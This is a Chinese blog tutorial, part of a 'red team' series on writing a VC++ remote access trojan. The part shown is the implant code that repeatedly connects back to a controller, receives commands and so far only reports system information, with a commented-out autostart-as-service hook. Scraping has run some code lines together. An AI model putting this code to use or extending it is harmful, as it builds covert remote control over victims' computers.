红队专题-从零开始VC++C/S远程控制软件RAT-MFC-[4]客户端与服务端连接

本文主要是介绍红队专题-从零开始VC++C/S远程控制软件RAT-MFC-[4]客户端与服务端连接,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • 服务端编写
    • 新建工程
    • server函数
    • 创建主线程类
      • 获取配置信息
      • 运行
      • command 命令
      • 头文件里创建引用
      • win32 类库/头文件
      • startsocket 开始监听 类函数
        • 添加类
        • StartSocket
        • mysend/myrecv
    • 设置
  • m_sock
  • Common 头文件
    • MSGINFO_S 结构体
  • ThreadMain头文件
  • runflag 启动

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

服务端编写

新建工程

在这里插入图片描述
在这里插入图片描述

server函数

// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"void Server();void Server()
{CThreadMain Thread_Main;  // 主线程类  对象Thread_Main.GetInfo(); //获取配置信息/*if(Auto[1] == '1'){wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);}*/// 增加自启动  服务名while(true){if(Thread_Main.RunFlag == false){break;}SOCKET sock;sock = Thread_Main.Run();Thread_Main.Command(sock);}
}int _tmain(int argc, _TCHAR* argv[])
{Server();return 0;
}

创建主线程类

在这里插入图片描述

获取配置信息

 void CThreadMain::GetInfo()
{int Port = atoi(czPort);this->Time = atoi(czTime);this->SetupDir = atoi(czSetupDir);this->AutoFlag = atoi(czAuto);
}用来生成配置文件

在这里插入图片描述

运行

 
SOCKET CThreadMain::Run()
{SOCKET sock;while(true){sock = m_sock.StartSocket(this->Address);  // 连接远程主机  ipif(sock == NULL){Sleep(this->Time * 1000);  //  等待60sprintf("Sleep\n");continue;}else{break;}}return sock; }

command 命令

void CThreadMain::Command(SOCKET Sock)
{MSGINFO_S msg;m_Socket = Sock;while(1){if(this->RunFlag == false)  // 程序是否可以运行{break;}memset(&msg,0,sizeof(MSGINFO_S));   //  消息结构体 清空if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0)   // 连接{break;}ExecCommand(msg,Sock);  // 执行命令}return;
}void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}
}

头文件里创建引用

#pragma onceclass CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();private:SOCKET Run();void Command(SOCKET Sock);void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};

win32 类库/头文件

#include <winsock2.h> stdafx.h中
头文件调用 stdafx.h
在这里插入图片描述

#pragma comment(lib,“ws2_32.lib”)
#pragma comment(lib,“User32.lib”)
#pragma comment(lib,“Advapi32.lib”)
在这里插入图片描述

startsocket 开始监听 类函数

添加类

在这里插入图片描述

StartSocket

链接远程ip地址

SOCKET CMySocket::StartSocket(char Address[160])
{WSADATA data;WORD w=MAKEWORD(2,2);::WSAStartup(w,&data);SOCKET s;s=::socket(AF_INET,SOCK_STREAM,0);sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(m_port);addr.sin_addr.S_un.S_addr = inet_addr(Address);if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR){printf("Connect Error\n");DWORD e = GetLastError();printf("LastError:%d\n",e);s = NULL;}else{printf("Connect Success!\n");}return s;
}SOCKET StartSocket(char Address[160])
mysend/myrecv
int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{const char *b = buf;while(bytes > 0) { int r = send(socket,b,bytes,0); if(r < 0) {printf("Socket_Error\n");return r; } else if(r == 0){printf("Socket_Error\n");break;} bytes -= r; b += r; } return b - (char*)buf; 
}int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{char *b = (char*)buf;while(bytes > 0){int r = recv(socket,b,bytes,0);if(r < 0){return 0;}else if(r == 0){break;}bytes = bytes - r;b = b + r;}return b - (char*)buf;
}
#pragma once
#include "stdafx.h"class CMySocket
{
public:CMySocket(void);~CMySocket(void);SOCKET StartSocket(char Address[160]);int MySend(SOCKET socket,const char* buf,int bytes);int MyRecv(SOCKET socket,char* buf,int bytes);
};

在这里插入图片描述

设置

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

m_sock

#pragma once#include "stdafx.h"
#include "MySocket.h"private: void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];
};

在这里插入图片描述

void CThreadMain::GetInfo()
{int Port = 1474;//this->Time = 60;//this->SetupDir = 0;//this->AutoFlag = 1;m_sock.m_port = Port;strcpy_s(Address,"127.0.0.1");}

Common 头文件

头文件 新添加项

在这里插入图片描述

MSGINFO_S 结构体


#pragma once
#include <windows.h>
#define SYSINFO  0x01typedef struct tagMSGINFO //传输消息结构体
{int Msg_id;BYTE context[1024*5];
}MSGINFO_S;typedef struct tagSYSTEMINFO
{int os;bool Cam; //摄像头double ver;
}SYSTEMINFO_S;

ThreadMain头文件

#pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;};

runflag 启动

#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")void Server();void Server()
{CThreadMain Thread_Main;Thread_Main.RunFlag = true;Thread_Main.GetInfo(); //获取配置信息

在这里插入图片描述
在这里插入图片描述

这篇关于红队专题-从零开始VC++C/S远程控制软件RAT-MFC-[4]客户端与服务端连接的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/236315

相关文章

VScode连接远程Linux服务器环境配置图文教程

《VScode连接远程Linux服务器环境配置图文教程》:本文主要介绍如何安装和配置VSCode,包括安装步骤、环境配置(如汉化包、远程SSH连接)、语言包安装(如C/C++插件)等,文中给出了详... 目录一、安装vscode二、环境配置1.中文汉化包2.安装remote-ssh,用于远程连接2.1安装2

C++中使用vector存储并遍历数据的基本步骤

《C++中使用vector存储并遍历数据的基本步骤》C++标准模板库(STL)提供了多种容器类型,包括顺序容器、关联容器、无序关联容器和容器适配器,每种容器都有其特定的用途和特性,:本文主要介绍C... 目录(1)容器及简要描述‌php顺序容器‌‌关联容器‌‌无序关联容器‌(基于哈希表):‌容器适配器‌:(

关于rpc长连接与短连接的思考记录

《关于rpc长连接与短连接的思考记录》文章总结了RPC项目中长连接和短连接的处理方式,包括RPC和HTTP的长连接与短连接的区别、TCP的保活机制、客户端与服务器的连接模式及其利弊分析,文章强调了在实... 目录rpc项目中的长连接与短连接的思考什么是rpc项目中的长连接和短连接与tcp和http的长连接短

Python手搓邮件发送客户端

《Python手搓邮件发送客户端》这篇文章主要为大家详细介绍了如何使用Python手搓邮件发送客户端,支持发送邮件,附件,定时发送以及个性化邮件正文,感兴趣的可以了解下... 目录1. 简介2.主要功能2.1.邮件发送功能2.2.个性签名功能2.3.定时发送功能2. 4.附件管理2.5.配置加载功能2.6.

C++中实现调试日志输出

《C++中实现调试日志输出》在C++编程中,调试日志对于定位问题和优化代码至关重要,本文将介绍几种常用的调试日志输出方法,并教你如何在日志中添加时间戳,希望对大家有所帮助... 目录1. 使用 #ifdef _DEBUG 宏2. 加入时间戳:精确到毫秒3.Windows 和 MFC 中的调试日志方法MFC

Xshell远程连接失败以及解决方案

《Xshell远程连接失败以及解决方案》本文介绍了在Windows11家庭版和CentOS系统中解决Xshell无法连接远程服务器问题的步骤,在Windows11家庭版中,需要通过设置添加SSH功能并... 目录一.问题描述二.原因分析及解决办法2.1添加ssh功能2.2 在Windows中开启ssh服务2

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

深入理解C++ 空类大小

《深入理解C++空类大小》本文主要介绍了C++空类大小,规定空类大小为1字节,主要是为了保证对象的唯一性和可区分性,满足数组元素地址连续的要求,下面就来了解一下... 目录1. 保证对象的唯一性和可区分性2. 满足数组元素地址连续的要求3. 与C++的对象模型和内存管理机制相适配查看类对象内存在C++中,规

Mysql 中的多表连接和连接类型详解

《Mysql中的多表连接和连接类型详解》这篇文章详细介绍了MySQL中的多表连接及其各种类型,包括内连接、左连接、右连接、全外连接、自连接和交叉连接,通过这些连接方式,可以将分散在不同表中的相关数据... 目录什么是多表连接?1. 内连接(INNER JOIN)2. 左连接(LEFT JOIN 或 LEFT

在 VSCode 中配置 C++ 开发环境的详细教程

《在VSCode中配置C++开发环境的详细教程》本文详细介绍了如何在VisualStudioCode(VSCode)中配置C++开发环境,包括安装必要的工具、配置编译器、设置调试环境等步骤,通... 目录如何在 VSCode 中配置 C++ 开发环境:详细教程1. 什么是 VSCode?2. 安装 VSCo